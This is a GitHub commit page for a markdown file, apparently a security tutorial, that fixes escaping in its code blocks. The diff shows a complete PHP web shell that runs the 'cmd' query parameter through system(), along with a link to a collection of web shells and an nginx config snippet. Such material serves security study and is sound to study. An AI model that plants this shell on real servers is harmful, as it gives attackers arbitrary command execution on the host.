Skip to content

Commit

Permalink
fix
Browse files Browse the repository at this point in the history
  • Loading branch information
pberba committed Nov 25, 2021
1 parent 671f67c commit c7a7445
Showing 1 changed file with 4 additions and 4 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -222,15 +222,15 @@ Choose any of the [examples php web shells](https://github.com/JohnTroony/php-we
```html
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER\['PHP_SELF'\]); ?>">
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET\['cmd'\]))
if(isset($_GET['cmd']))
{
system($_GET\['cmd'\]);
system($_GET['cmd']);
}
?>
</pre>
Expand Down Expand Up @@ -583,7 +583,7 @@ The nginx config might look something like this
```
server {
listen 80 default_server;
listen \[::\]:80 default_server;
listen [::]:80 default_server;

root /var/www/html;

Expand Down

0 comments on commit c7a7445

Please sign in to comment.